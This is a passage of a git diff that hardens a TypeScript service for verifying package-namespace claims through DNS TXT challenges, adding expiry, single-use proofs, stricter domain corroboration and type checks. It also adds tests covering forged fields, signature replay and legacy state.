targetChallengeId: string; targetClaimantPublicKey: string }, + input: TransferRequest, privateKeyPem: string, ): string { return edSign(null, transferRequestBytes(input), createPrivateKey(privateKeyPem)).toString("base64"); @@ -120,17 +133,13 @@ function directUrls(packument: unknown): string[] { /** Pure Tier-1 linkage check over upstream-owned metadata and the challenged domain. */ export function corroboratesClaimDomain(upstreamPackument: unknown, claimDomain: string): boolean { - const org = claimDomain.split(".")[0]?.replaceAll("-", "").toLowerCase(); return directUrls(upstreamPackument).some((raw) => { try { const normalized = raw.replace(/^git\+/, "").replace(/^git:\/\//, "https://"); const url = new URL(normalized); const host = url.hostname.toLowerCase(); - if (host === claimDomain || host.endsWith(`.${claimDomain}`)) return true; - if (host === "github.com" || host === "gitlab.com") { - return Boolean(org) && (url.pathname.split("/").filter(Boolean)[0]?.replaceAll("-", "").toLowerCase() === org); - } - return false; + // Only a host at or under the claimed domain counts: a same-named GitHub/GitLab org is free to register. + return host === claimDomain || host.endsWith(`.${claimDomain}`); } catch { return false; } }); } @@ -170,53 +179,70 @@ export class ClaimSteward { const txtValue = `sentinel-claim=${id}.${randomBytes(18).toString("base64url")}`; const evidence = await this.lookupUpstream(input.namespace); const upstreamPackument = evidence.kind === "absent" ? null : evidence.packument; - const tier: GrandfatherTier = evidence.kind === "absent" || evidence.kind === "long-dead-placeholder" - ? 3 - : corroboratesClaimDomain(evidence.packument, input.domain) ? 1 : 2; - this.applications.set(id, { ...input, tier, upstreamPackument, id, domain: input.domain, txtValue, issuedAt: iso(this.now()) }); + const tier = evidenceTier(evidence, input.domain); + // Copy known fields only: spreading the request body would let a caller set `verifiedAt` and skip the DNS proof. + const { namespace, domain, claimantPublicKey, trustedPublishers } = input; + this.applications.set(id, { namespace, domain, claimantPublicKey, ...(trustedPublishers ? { trustedPublishers } : {}), + tier, upstreamPackument, id, txtValue, issuedAt: iso(this.now()) }); this.persist(); return { id, domain: input.domain, txtValue }; } async verifyChallenge(id: string, resolveTxt: TxtResolver): Promise { const application = this.application(id); + this.assertFresh(application); const records = await resolveTxt(application.domain); const passed = records.some((parts) => parts.join("") === application.txtValue); - if (passed) { application.verifiedAt = iso(this.now()); this.persist(); } + this.assertFresh(application); // the lookup may have outlived the challenge + // verifiedAt is fixed at the first pass: re-verifying never refreshes (and so never revives) an old proof. + if (passed && !application.verifiedAt) { application.verifiedAt = iso(this.now()); this.persist(); } return passed; } - approve(id: string, options: { evidenceRef?: string } = {}): void { + async approve(id: string, options: { evidenceRef?: unknown } = {}): Promise { const application = this.application(id); + this.assertFresh(application); if (!application.verifiedAt) throw new Error("claim cannot be approved without a passed challenge"); + if (application.consumed) throw new Error("approval requires a fresh challenge: this one was already used as a proof"); + const { evidenceRef } = options; + if (evidenceRef !== undefined && (typeof evidenceRef !== "string" || !evidenceRef)) throw new Error("evidenceRef must be a non-empty string"); + // The tier fixed at issuance can be stale (the name may have been taken since): recompute from fresh upstream evidence. + const evidence = await this.lookupUpstream(application.namespace); + this.assertFresh(application); + // No awaits below, so these checks and the writes are atomic with respect to other requests. + application.tier = evidenceTier(evidence, application.domain); + application.upstreamPackument = evidence.kind === "absent" ? null : evidence.packument; if (this.claims.has(application.namespace) || this.pendingGrants.has(application.namespace)) { throw new Error(`namespace overlap: ${application.namespace} already claimed or pending`); } - if (application.tier === 1 && !corroboratesClaimDomain(application.upstreamPackument, application.domain)) { - throw new Error("Tier-1 claim lacks corroborating upstream metadata"); - } const claim = parseClaimCorpus(Buffer.from(JSON.stringify({ schema: 1, version: "steward-approval", issuedAt: iso(this.now()), claims: [this.claimFrom(application)], }))).claims[0]!; if (application.tier === 2) { - if (!options.evidenceRef) throw new Error("Tier-2 claim requires adjudicated evidence"); + if (!evidenceRef) throw new Error("Tier-2 claim requires adjudicated evidence"); const announcedAt = iso(this.now()); this.pendingGrants.set(application.namespace, { - claim, announcedAt, effectiveAt: iso(this.now() + 30 * DAY), evidenceRef: options.evidenceRef, + claim, announcedAt, effectiveAt: iso(this.now() + 30 * DAY), evidenceRef, }); + application.consumed = true; this.persist(); return; } this.claims.set(application.namespace, claim); + application.consumed = true; this.persist(); } requestTransfer(namespace: string, targetChallengeId: string, oldClaimantSignature: string): void { const claim = this.claim(namespace); + if (claim.status !== "active" || claim.pending) throw new Error("transfer requires an active claim with no pending change"); const target = this.application(targetChallengeId); + this.assertFresh(target); + if (target.consumed) throw new Error("transfer target challenge was already used as a proof"); if (!target.verifiedAt) throw new Error("transfer target requires a passed challenge"); if (target.namespace !== namespace) throw new Error("transfer challenge namespace mismatch"); - const request = { namespace, targetDomain: target.domain, targetChallengeId, targetClaimantPublicKey: target.claimantPublicKey }; + const request = { namespace, targetDomain: target.domain, targetChallengeId, targetClaimantPublicKey: target.claimantPublicKey, + currentChallengeId: claim.challenge.id }; let authorized = false; try { authorized = edVerify(null, transferRequestBytes(request), createPublicKey(claim.claimantPublicKey), Buffer.from(oldClaimantSignature, "base64")); @@ -227,6 +253,7 @@ export class ClaimSteward { kind: "transfer", announcedAt, effectiveAt: iso(this.now() + 30 * DAY), targetDomain: target.domain, targetClaimantPublicKey: target.claimantPublicKey, challenge: this.proof(target), authorizedBy: oldClaimantSignature, }; + target.consumed = true; this.persist(); } @@ -235,28 +262,38 @@ export class ClaimSteward { this.persist(); } - ruleDispute(namespace: string, targetChallengeId: string, evidenceRef: string): void { + ruleDispute(namespace: string, targetChallengeId: string, evidenceRef: unknown): void { const claim = this.claim(namespace); const target = this.application(targetChallengeId); + this.assertFresh(target); + if (target.consumed) throw new Error("ruling challenge was already used as a proof"); if (claim.status !== "disputed") throw new Error("claim is not disputed"); if (!target.verifiedAt) throw new Error("ruling target requires a passed challenge"); if (target.namespace !== namespace) throw new Error("ruling challenge namespace mismatch"); - if (!evidenceRef) throw new Error("dispute ruling requires evidence"); + if (typeof evidenceRef !== "string" || !evidenceRef) throw new Error("dispute ruling requires evidence"); const announcedAt = iso(this.now()); claim.pending = { kind: "dispute-ruling", announcedAt, effectiveAt: iso(this.now() + 30 * DAY), targetDomain: target.domain, targetClaimantPublicKey: target.claimantPublicKey, challenge: this.proof(target), authorizedBy: evidenceRef }; + target.consumed = true; this.persist(); } renew(namespace: string, challengeId: string): void { const claim = this.claim(namespace); const application = this.application(challengeId); + if (claim.status === "disputed") throw new Error("claim is disputed: renewal cannot clear a dispute"); if (application.namespace !== namespace) throw new Error("renewal challenge namespace mismatch"); + this.assertFresh(application); + if (application.consumed) throw new Error("renewal requires a fresh challenge: this one was already used as a proof"); if (!application.verifiedAt || application.domain !== claim.domain) throw new Error("renewal requires a passed challenge by the same domain"); + if (Date.parse(application.verifiedAt) <= Date.parse(claim.challenge.verifiedAt)) { + throw new Error("renewal requires a fresh challenge verified after the claim's current proof"); + } claim.challenge = this.proof(application); claim.renewalDueAt = renewalDue(application.verifiedAt); claim.status = "active"; + application.consumed = true; this.persist(); } @@ -265,9 +302,10 @@ export class ClaimSteward { this.persist(); } - freezeForDomainChange(namespace: string, evidenceRef: string): void { - if (!evidenceRef) throw new Error("domain-change freeze requires evidence"); - this.claim(namespace).status = "frozen"; + freezeForDomainChange(namespace: string, evidenceRef: unknown): void { + if (typeof evidenceRef !== "string" || !evidenceRef) throw new Error("domain-change freeze requires evidence"); + const claim = this.claim(namespace); + if (claim.status !== "disputed") claim.status = "frozen"; this.persist(); } @@ -338,6 +376,7 @@ export class ClaimSteward { for (const claim of this.claims.values()) { const pending = claim.pending; if (!pending || Date.parse(pending.effectiveAt) > this.now()) continue; + if (pending.kind === "transfer" && claim.status !== "active") continue; // a frozen or disputed claim only moves by dispute ruling claim.domain = pending.targetDomain!; claim.claimantPublicKey = pending.targetClaimantPublicKey!; claim.challenge = pending.challenge!; @@ -348,7 +387,8 @@ export class ClaimSteward { } private applyExpiryFreeze(): void { - for (const claim of this.claims.values()) if (Date.parse(claim.renewalDueAt) <= this.now()) claim.status = "frozen"; + // A dispute outlives expiry: only a ruling clears it. + for (const claim of this.claims.values()) if (claim.status !== "disputed" && Date.parse(claim.renewalDueAt) <= this.now()) claim.status = "frozen"; } private claimFrom(application: Application): VerifiedClaim { @@ -363,6 +403,10 @@ export class ClaimSteward { return { method: "dns-txt", id: application.id, verifiedAt: application.verifiedAt! }; } + private assertFresh(application: Application): void { + if (this.now() - Date.parse(application.issuedAt) > CHALLENGE_TTL) throw new Error(`challenge ${application.id} expired`); + } + private application(id: string): Application { const application = this.applications.get(id); if (!application) throw new Error(`unknown challenge ${id}`); @@ -380,7 +424,7 @@ export class ClaimSteward { let decoded: unknown; try { decoded = JSON.parse(readFileSync(this.stateFile, "utf8")); } catch { throw new Error("invalid steward state: expected JSON"); } - const state = decoded as { schema?: unknown; applications?: unknown; claims?: unknown; pendingGrants?: unknown; retractions?: unknown; releases?: unknown }; + const state = decoded as { schema?: unknown; proofsTracked?: unknown; applications?: unknown; claims?: unknown; pendingGrants?: unknown; retractions?: unknown; releases?: unknown }; if (state?.schema !== 1 || !Array.isArray(state.applications) || !Array.isArray(state.claims) || !Array.isArray(state.pendingGrants)) { throw new Error("invalid steward state: expected schema 1 arrays"); } @@ -402,6 +446,9 @@ export class ClaimSteward { this.applications.set(application.id, application); } for (const claim of parsedClaims) this.claims.set(claim.namespace, claim); + // State written before proof tracking cannot show that a verified challenge was never used (a superseded + // proof may still be inside its TTL), so every verified application is spent: new flows need a fresh challenge. + if (state.proofsTracked !== true) for (const application of this.applications.values()) if (application.verifiedAt) application.consumed = true; for (const candidate of state.pendingGrants as PendingGrant[]) { const pending = candidate as PendingGrant; if (!pending?.claim || !isCanonicalInstant(pending.announcedAt) || !isCanonicalInstant(pending.effectiveAt) || @@ -445,6 +492,7 @@ export class ClaimSteward { mkdirSync(dirname(this.stateFile), { recursive: true }); const raw = JSON.stringify({ schema: 1, + proofsTracked: true, applications: [...this.applications.values()], claims: [...this.claims.values()], pendingGrants: [...this.pendingGrants.values()], diff --git a/packages/steward/test/fixtures/grandfathering.json b/packages/steward/test/fixtures/grandfathering.json index 2710c8b..d8ee6fa 100644 --- a/packages/steward/test/fixtures/grandfathering.json +++ b/packages/steward/test/fixtures/grandfathering.json @@ -12,9 +12,9 @@ } }, { - "name": "repository organization corroborates the domain label", + "name": "a same-named GitHub organization does not corroborate the domain", "domain": "tanstack.com", - "expected": true, + "expected": false, "packument": { "name": "@tanstack/query", "repository": "https://github.com/TanStack/query" } }, { diff --git a/packages/steward/test/security-steward.test.ts b/packages/steward/test/security-steward.test.ts new file mode 100644 index 0000000..dc73706 --- /dev/null +++ b/packages/steward/test/security-steward.test.ts @@ -0,0 +1,449 @@ +import assert from "node:assert/strict"; +import { createPrivateKey, sign as edSign } from "node:crypto"; +import { spawn } from "node:child_process"; +import { mkdirSync, mkdtempSync, readFileSync, writeFileSync } from "node:fs"; +import type { Server } from "node:http"; +import { connect, type AddressInfo } from "node:net"; +import { networkInterfaces, tmpdir } from "node:os"; +import { dirname, join } from "node:path"; +import { fileURLToPath } from "node:url"; +import { describe, test } from "node:test"; +import { generateKeypair } from "@git-agentic/sentinel-core"; +import { ClaimSteward, corroboratesClaimDomain, signTransferRequest, type UpstreamClaimLookup } from "../src/steward.js"; +import { createStewardServer } from "../src/server.js"; + +const DAY = 24 * 60 * 60 * 1000; +const absent: UpstreamClaimLookup = async () => ({ kind: "absent" }); +const claimant = generateKeypair(); + +function clock(start = "2026-07-01T00:00:00.000Z") { + const state = { now: Date.parse(start) }; + let n = 0; + return { state, options: { now: () => state.now, id: () => `id-${++n}` } }; +} + +async function verified(steward: ClaimSteward, input: Parameters[0]) { + const challenge = await steward.issueChallenge(input); + assert.equal(await steward.verifyChallenge(challenge.id, async () => [[challenge.txtValue]]), true); + return challenge; +} + +describe("F12: Tier-1 corroboration needs a host under the claimed domain", () => { + test("a same-named GitHub/GitLab organisation does not corroborate", () => { + assert.equal(corroboratesClaimDomain({ repository: "https://github.com/TanStack/query" }, "tanstack.com"), false); + assert.equal(corroboratesClaimDomain({ repository: "git+https://gitlab.com/acme/widget.git" }, "acme.example"), false); + assert.equal(corroboratesClaimDomain({ homepage: "https://docs.acme.example/widget" }, "acme.example"), true); + }); + + test("a claim linked only through a same-named GitHub org lands in Tier 2 and needs evidence + timelock", async () => { + const { state, options } = clock(); + const steward = new ClaimSteward({ ...options, + lookupUpstream: async () => ({ kind: "active", packument: { name: "query", repository: "https://github.com/TanStack/query" } }) }); + const app = await verified(steward, { namespace: "query", domain: "tanstack.com", claimantPublicKey: claimant.publicKey }); + await assert.rejects(async () => steward.approve(app.id), /evidence/i); + await steward.approve(app.id, { evidenceRef: "case/42" }); + assert.equal(steward.release("r1").corpus.claims.length, 0); + state.now += 30 * DAY; + assert.equal(steward.release("r2").corpus.claims[0]?.namespace, "query"); + }); +}); + +describe("F15a: transfers only on an active, non-pending claim", () => { + async function setup() { + const c = clock(); + const oldKey = generateKeypair(); + const newKey = generateKeypair(); + const steward = new ClaimSteward({ ...c.options, lookupUpstream: absent }); + const original = await verified(steward, { namespace: "pkg", domain: "old.example", claimantPublicKey: oldKey.publicKey }); + await steward.approve(original.id); + const target = await verified(steward, { namespace: "pkg", domain: "new.example", claimantPublicKey: newKey.publicKey }); + const sign = () => signTransferRequest({ namespace: "pkg", targetDomain: "new.example", targetChallengeId: target.id, + targetClaimantPublicKey: newKey.publicKey, currentChallengeId: original.id }, oldKey.privateKey); + return { ...c, steward, original, target, sign, oldKey, newKey }; + } + + test("a disputed claim refuses a new transfer", async () => { + const { steward, target, sign } = await setup(); + steward.contest("pkg"); + assert.throws(() => steward.requestTransfer("pkg", target.id, sign()), /active/); + }); + + test("a second transfer cannot replace a pending one", async () => { + const { steward, target, sign } = await setup(); + steward.requestTransfer("pkg", target.id, sign()); + assert.throws(() => steward.requestTransfer("pkg", target.id, sign()), /pending/); + }); + + test("a transfer announced before a dispute is not materialized while the claim is disputed", async () => { + const { steward, target, sign, state } = await setup(); + steward.requestTransfer("pkg", target.id, sign()); + steward.contest("pkg"); + state.now += 31 * DAY; + const claim = steward.release("after-dispute").corpus.claims[0]!; + assert.equal(claim.domain, "old.example"); + assert.equal(claim.status, "disputed"); + }); +}); + +describe("F15b: renewal needs a fresh passed challenge and refuses disputes", () => { + async function setup() { + const c = clock(); + const steward = new ClaimSteward({ ...c.options, lookupUpstream: absent }); + const original = await verified(steward, { namespace: "pkg", domain: "acme.example", claimantPublicKey: claimant.publicKey }); + await steward.approve(original.id); + return { ...c, steward, original }; + } + + test("the challenge that created the claim cannot renew it", async () => { + const { steward, original, state } = await setup(); + state.now += DAY; + assert.throws(() => steward.renew("pkg", original.id), /fresh|newer/i); + }); + + test("a disputed claim cannot be renewed back to active", async () => { + const { steward, state } = await setup(); + steward.contest("pkg"); + state.now += DAY; + const fresh = await verified(steward, { namespace: "pkg", domain: "acme.example", claimantPublicKey: claimant.publicKey }); + assert.throws(() => steward.renew("pkg", fresh.id), /disputed/); + assert.equal(steward.release("still-disputed").corpus.claims[0]?.status, "disputed"); + }); + + test("a fresh challenge from the same domain still renews and unfreezes", async () => { + const { steward, state } = await setup(); + state.now += 366 * DAY; + assert.equal(steward.release("frozen").corpus.claims[0]?.status, "frozen"); + const fresh = await verified(steward, { namespace: "pkg", domain: "acme.example", claimantPublicKey: claimant.publicKey }); + steward.renew("pkg", fresh.id); + assert.equal(steward.release("renewed").corpus.claims[0]?.status, "active"); + }); +}); + +describe("F15c: challenges expire and Tier is recomputed at approval", () => { + test("verify, approve, transfer and renew reject a challenge older than 30 days", async () => { + const c = clock(); + const steward = new ClaimSteward({ ...c.options, lookupUpstream: absent }); + const original = await verified(steward, { namespace: "pkg", domain: "acme.example", claimantPublicKey: claimant.publicKey }); + await steward.approve(original.id); + const stale = await verified(steward, { namespace: "pkg", domain: "acme.example", claimantPublicKey: claimant.publicKey }); + const unverified = await steward.issueChallenge({ namespace: "other", domain: "other.example", claimantPublicKey: claimant.publicKey }); + const unapproved = await verified(steward, { namespace: "third", domain: "third.example", claimantPublicKey: claimant.publicKey }); + c.state.now += 31 * DAY; + await assert.rejects(steward.verifyChallenge(unverified.id, async () => [[unverified.txtValue]]), /expired/i); + await assert.rejects(async () => steward.approve(unapproved.id), /expired/i); + assert.throws(() => steward.renew("pkg", stale.id), /expired/i); + const sig = signTransferRequest({ namespace: "pkg", targetDomain: "acme.example", targetChallengeId: stale.id, + targetClaimantPublicKey: claimant.publicKey, currentChallengeId: original.id }, claimant.privateKey); + assert.throws(() => steward.requestTransfer("pkg", stale.id, sig), /expired/i); + }); + + test("approve re-runs the upstream lookup: a name taken since issuance is no longer free", async () => { + const c = clock(); + let evidence: Awaited> = { kind: "absent" }; + const steward = new ClaimSteward({ ...c.options, lookupUpstream: async () => evidence }); + const app = await verified(steward, { namespace: "newly-squatted", domain: "acme.example", claimantPublicKey: claimant.publicKey }); + evidence = { kind: "active", packument: { name: "newly-squatted", repository: "https://github.com/squatter/x" } }; + await assert.rejects(async () => steward.approve(app.id), /evidence/i); + assert.equal(steward.release("none").corpus.claims.length, 0); + }); +}); + +describe("F15d: evidenceRef and request bodies are type-checked", () => { + test("a non-string evidenceRef is refused and cannot poison persisted state", async () => { + const dir = mkdtempSync(join(tmpdir(), "sentinel-steward-sec-")); + const stateFile = join(dir, "state.json"); + const c = clock(); + const steward = new ClaimSteward({ ...c.options, stateFile, + lookupUpstream: async () => ({ kind: "active", packument: { repository: "https://github.com/squatter/x" } }) }); + const app = await verified(steward, { namespace: "contested", domain: "acme.example", claimantPublicKey: claimant.publicKey }); + await assert.rejects(async () => steward.approve(app.id, { evidenceRef: { x: 1 } as never }), /evidence/i); + assert.doesNotThrow(() => new ClaimSteward({ stateFile, lookupUpstream: absent }), "state must still load after a rejected request"); + }); + + test("ruleDispute rejects a non-string evidenceRef", async () => { + const c = clock(); + const steward = new ClaimSteward({ ...c.options, lookupUpstream: absent }); + const original = await verified(steward, { namespace: "pkg", domain: "old.example", claimantPublicKey: claimant.publicKey }); + await steward.approve(original.id); + const challenger = await verified(steward, { namespace: "pkg", domain: "new.example", claimantPublicKey: claimant.publicKey }); + steward.contest("pkg"); + assert.throws(() => steward.ruleDispute("pkg", challenger.id, { x: 1 } as never), /evidence/i); + }); + + test("issueChallenge ignores unknown body fields, so verifiedAt cannot pre-verify a challenge", async () => { + const c = clock(); + const steward = new ClaimSteward({ ...c.options, lookupUpstream: absent }); + const forged = await steward.issueChallenge({ namespace: "pkg", domain: "acme.example", claimantPublicKey: claimant.publicKey, + verifiedAt: "2026-07-01T00:00:00.000Z" } as never); + await assert.rejects(async () => steward.approve(forged.id), /passed challenge/i); + }); + + test("the control plane rejects wrongly typed bodies with 400 and leaves state untouched", async () => { + const c = clock(); + const steward = new ClaimSteward({ ...c.options, lookupUpstream: absent }); + let txt = ""; + const app = createStewardServer({ steward, token: "t", resolveTxt: async () => [[txt]], privateKeyPem: generateKeypair().privateKey }); + const server = await new Promise((resolve) => { const s = app.listen(0, "127.0.0.1", () => resolve(s)); }); + const base = `http://127.0.0.1:${(server.address() as AddressInfo).port}`; + const post = (path: string, body: unknown) => fetch(`${base}${path}`, { method: "POST", + headers: { "content-type": "application/json", authorization: "Bearer t" }, body: JSON.stringify(body) }); + try { + assert.equal((await post("/-/claims/challenges", { namespace: 1, domain: "a.example", claimantPublicKey: claimant.publicKey })).status, 400); + const issued = await post("/-/claims/challenges", { namespace: "pkg", domain: "a.example", claimantPublicKey: claimant.publicKey }); + assert.equal(issued.status, 201); + const challenge = await issued.json() as { id: string; txtValue: string }; + txt = challenge.txtValue; + assert.equal((await post(`/-/claims/challenges/${challenge.id}/verify`, {})).status, 200); + assert.equal((await post(`/-/claims/challenges/${challenge.id}/approve`, { evidenceRef: 123 })).status, 400); + assert.equal(steward.release("untouched").corpus.claims.length, 0, "a rejected approval must not create a claim"); + assert.equal((await post("/-/claims/transfers", { namespace: "pkg", targetChallengeId: 5, oldClaimantSignature: {} })).status, 400); + assert.equal((await post("/-/claims/dispute-rulings", { namespace: "pkg", targetChallengeId: challenge.id, evidenceRef: [] })).status, 400); + assert.equal((await post("/-/claims/renewals", { namespace: ["pkg"], challengeId: challenge.id })).status, 400); + assert.equal((await post("/-/claims/domain-change-freezes", { namespace: "pkg", evidenceRef: 7 })).status, 400); + assert.equal((await post(`/-/claims/challenges/${challenge.id}/approve`, {})).status, 200); + } finally { server.close(); } + }); +}); + +describe("transfer signatures bind the claim's current challenge", () => { + test("a signature over the legacy (unbound) bytes is no longer accepted", async () => { + const c = clock(); + const oldKey = generateKeypair(); + const newKey = generateKeypair(); + const steward = new ClaimSteward({ ...c.options, lookupUpstream: absent }); + const original = await verified(steward, { namespace: "pkg", domain: "old.example", claimantPublicKey: oldKey.publicKey }); + await steward.approve(original.id); + const target = await verified(steward, { namespace: "pkg", domain: "new.example", claimantPublicKey: newKey.publicKey }); + const legacy = edSign(null, Buffer.from(JSON.stringify({ schema: 1, namespace: "pkg", targetDomain: "new.example", + targetChallengeId: target.id, targetClaimantPublicKey: newKey.publicKey })), createPrivateKey(oldKey.privateKey)).toString("base64"); + assert.throws(() => steward.requestTransfer("pkg", target.id, legacy), /valid old claimant signature/); + }); + + test("a signature made before a renewal cannot be replayed after it", async () => { + const c = clock(); + const oldKey = generateKeypair(); + const newKey = generateKeypair(); + const steward = new ClaimSteward({ ...c.options, lookupUpstream: absent }); + const original = await verified(steward, { namespace: "pkg", domain: "old.example", claimantPublicKey: oldKey.publicKey }); + await steward.approve(original.id); + const target = await verified(steward, { namespace: "pkg", domain: "new.example", claimantPublicKey: newKey.publicKey }); + const sig = signTransferRequest({ namespace: "pkg", targetDomain: "new.example", targetChallengeId: target.id, + targetClaimantPublicKey: newKey.publicKey, currentChallengeId: original.id }, oldKey.privateKey); + c.state.now += DAY; + const renewal = await verified(steward, { namespace: "pkg", domain: "old.example", claimantPublicKey: oldKey.publicKey }); + steward.renew("pkg", renewal.id); + assert.throws(() => steward.requestTransfer("pkg", target.id, sig), /valid old claimant signature/); + const fresh = signTransferRequest({ namespace: "pkg", targetDomain: "new.example", targetChallengeId: target.id, + targetClaimantPublicKey: newKey.publicKey, currentChallengeId: renewal.id }, oldKey.privateKey); + steward.requestTransfer("pkg", target.id, fresh); + }); +}); + +describe("freezes and pending changes (review follow-ups)", () => { + async function claimed() { + const c = clock(); + const oldKey = generateKeypair(); + const newKey = generateKeypair(); + const steward = new ClaimSteward({ ...c.options, lookupUpstream: absent }); + const original = await verified(steward, { namespace: "pkg", domain: "old.example", claimantPublicKey: oldKey.publicKey }); + await steward.approve(original.id); + return { ...c, steward, original, oldKey, newKey }; + } + + test("a pending transfer is not materialized while the claim is frozen", async () => { + const { steward, original, oldKey, newKey, state } = await claimed(); + const target = await verified(steward, { namespace: "pkg", domain: "new.example", claimantPublicKey: newKey.publicKey }); + steward.requestTransfer("pkg", target.id, signTransferRequest({ namespace: "pkg", targetDomain: "new.example", + targetChallengeId: target.id, targetClaimantPublicKey: newKey.publicKey, currentChallengeId: original.id }, oldKey.privateKey)); + steward.freezeForDomainChange("pkg", "monitor/domain-change-1"); + state.now += 31 * DAY; + const claim = steward.release("frozen-with-transfer").corpus.claims[0]!; + assert.equal(claim.domain, "old.example"); + assert.equal(claim.status, "frozen"); + }); + + test("a dispute survives expiry: only a ruling clears it, renewal cannot", async () => { + const { steward, state } = await claimed(); + steward.contest("pkg"); + state.now += 366 * DAY; + assert.equal(steward.release("expired-while-disputed").corpus.claims[0]?.status, "disputed"); + const fresh = await verified(steward, { namespace: "pkg", domain: "old.example", claimantPublicKey: claimant.publicKey }); + assert.throws(() => steward.renew("pkg", fresh.id), /disputed/); + assert.equal(steward.release("still-disputed").corpus.claims[0]?.status, "disputed"); + }); + + test("a domain-change freeze does not overwrite a dispute", async () => { + const { steward } = await claimed(); + steward.contest("pkg"); + steward.freezeForDomainChange("pkg", "monitor/domain-change-2"); + assert.equal(steward.release("disputed-then-frozen").corpus.claims[0]?.status, "disputed"); + }); +}); + +describe("review round 1: proofs are single-use and freshness holds across awaits", () => { + test("re-verifying a used challenge does not revive it as a renewal, so an old transfer signature stays dead", async () => { + const c = clock(); + const oldKey = generateKeypair(); + const newKey = generateKeypair(); + const steward = new ClaimSteward({ ...c.options, lookupUpstream: absent }); + const c1 = await verified(steward, { namespace: "pkg", domain: "old.example", claimantPublicKey: oldKey.publicKey }); + await steward.approve(c1.id); + const target = await verified(steward, { namespace: "pkg", domain: "new.example", claimantPublicKey: newKey.publicKey }); + const sigOnC1 = signTransferRequest({ namespace: "pkg", targetDomain: "new.example", targetChallengeId: target.id, + targetClaimantPublicKey: newKey.publicKey, currentChallengeId: c1.id }, oldKey.privateKey); + c.state.now += DAY; + const c2 = await verified(steward, { namespace: "pkg", domain: "old.example", claimantPublicKey: oldKey.publicKey }); + steward.renew("pkg", c2.id); + c.state.now += DAY; + // Re-verify C1 (its TXT record is still published), then try to restore it as the claim's proof. + assert.equal(await steward.verifyChallenge(c1.id, async () => [[c1.txtValue]]), true); + assert.throws(() => steward.renew("pkg", c1.id), /fresh|already|used/i); + assert.throws(() => steward.requestTransfer("pkg", target.id, sigOnC1), /valid old claimant signature/); + assert.equal(steward.release("after-replay").corpus.claims[0]?.challenge.id, c2.id); + }); + + test("verifyChallenge re-checks expiry after the DNS lookup", async () => { + const c = clock(); + const steward = new ClaimSteward({ ...c.options, lookupUpstream: absent }); + const app = await steward.issueChallenge({ namespace: "pkg", domain: "acme.example", claimantPublicKey: claimant.publicKey }); + c.state.now += 29 * DAY + 23 * 3600_000; + await assert.rejects(steward.verifyChallenge(app.id, async () => { c.state.now += 2 * 3600_000; return [[app.txtValue]]; }), /expired/i); + c.state.now -= 2 * 3600_000; + await assert.rejects(async () => steward.approve(app.id), /passed challenge/i); + }); + + test("approve re-checks expiry after the upstream lookup", async () => { + const c = clock(); + let slow = false; + const steward = new ClaimSteward({ ...c.options, lookupUpstream: async () => { if (slow) c.state.now += 2 * 3600_000; return { kind: "absent" }; } }); + const app = await verified(steward, { namespace: "pkg", domain: "acme.example", claimantPublicKey: claimant.publicKey }); + c.state.now += 29 * DAY + 23 * 3600_000; + slow = true; + await assert.rejects(async () => steward.approve(app.id), /expired/i); + assert.equal(steward.release("none").corpus.claims.length, 0); + }); +}); + +describe("review round 2: legacy state without proof tracking", () => { + test("every already-verified application is spent on load; only a freshly issued challenge works", async () => { + const dir = mkdtempSync(join(tmpdir(), "sentinel-steward-legacy-")); + const stateFile = join(dir, "state.json"); + const c = clock(); + const oldKey = generateKeypair(); + const newKey = generateKeypair(); + const before = new ClaimSteward({ ...c.options, stateFile, lookupUpstream: absent }); + const c1 = await verified(before, { namespace: "pkg", domain: "old.example", claimantPublicKey: oldKey.publicKey }); + await before.approve(c1.id); + c.state.now += DAY; + const c2 = await verified(before, { namespace: "pkg", domain: "old.example", claimantPublicKey: oldKey.publicKey }); + before.renew("pkg", c2.id); // C1 is now superseded but still inside its 30-day TTL + const target = await verified(before, { namespace: "pkg", domain: "new.example", claimantPublicKey: newKey.publicKey }); + + // Rewrite the file as a pre-upgrade steward would have left it. + const legacy = JSON.parse(readFileSync(stateFile, "utf8")) as { proofsTracked?: unknown; applications: { consumed?: unknown }[] }; + delete legacy.proofsTracked; + for (const application of legacy.applications) delete application.consumed; + writeFileSync(stateFile, JSON.stringify(legacy)); + + c.state.now += DAY; + const after = new ClaimSteward({ ...c.options, stateFile, lookupUpstream: absent }); + const sig = signTransferRequest({ namespace: "pkg", targetDomain: "old.example", targetChallengeId: c1.id, + targetClaimantPublicKey: oldKey.publicKey, currentChallengeId: c2.id }, oldKey.privateKey); + assert.throws(() => after.renew("pkg", c1.id), /already used|fresh/i); + assert.throws(() => after.renew("pkg", c2.id), /already used|fresh/i); + assert.throws(() => after.requestTransfer("pkg", c1.id, sig), /already used/i); + assert.throws(() => after.requestTransfer("pkg", target.id, "x"), /already used/i); + after.contest("pkg"); + assert.throws(() => after.ruleDispute("pkg", c1.id, "case/1"), /already used/i); + assert.throws(() => after.ruleDispute("pkg", c2.id, "case/1"), /already used/i); + assert.throws(() => after.ruleDispute("pkg", target.id, "case/1"), /already used/i); + + }); + + test("a verified but never-approved challenge cannot be approved after a legacy load", async () => { + const dir = mkdtempSync(join(tmpdir(), "sentinel-steward-legacy-")); + const stateFile = join(dir, "state.json"); + const c = clock(); + const before = new ClaimSteward({ ...c.options, stateFile, lookupUpstream: absent }); + const pending = await verified(before, { namespace: "other", domain: "old.example", claimantPublicKey: claimant.publicKey }); + const legacy = JSON.parse(readFileSync(stateFile, "utf8")) as { proofsTracked?: unknown; applications: { consumed?: unknown }[] }; + delete legacy.proofsTracked; + for (const application of legacy.applications) delete application.consumed; + writeFileSync(stateFile, JSON.stringify(legacy)); + const after = new ClaimSteward({ ...c.options, stateFile, lookupUpstream: absent }); + await assert.rejects(() => after.approve(pending.id), /already used/i); + const fresh = await verified(after, { namespace: "other", domain: "old.example", claimantPublicKey: claimant.publicKey }); + await after.approve(fresh.id); + }); + + test("a freshly issued challenge renews after a legacy load", async () => { + const dir = mkdtempSync(join(tmpdir(), "sentinel-steward-legacy-")); + const stateFile = join(dir, "state.json"); + const c = clock(); + const before = new ClaimSteward({ ...c.options, stateFile, lookupUpstream: absent }); + const c1 = await verified(before, { namespace: "pkg", domain: "old.example", claimantPublicKey: claimant.publicKey }); + await before.approve(c1.id); + const legacy = JSON.parse(readFileSync(stateFile, "utf8")) as { proofsTracked?: unknown; applications: { consumed?: unknown }[] }; + delete legacy.proofsTracked; + for (const application of legacy.applications) delete application.consumed; + writeFileSync(stateFile, JSON.stringify(legacy)); + c.state.now += DAY; + const after = new ClaimSteward({ ...c.options, stateFile, lookupUpstream: absent }); + const c3 = await verified(after, { namespace: "pkg", domain: "old.example", claimantPublicKey: 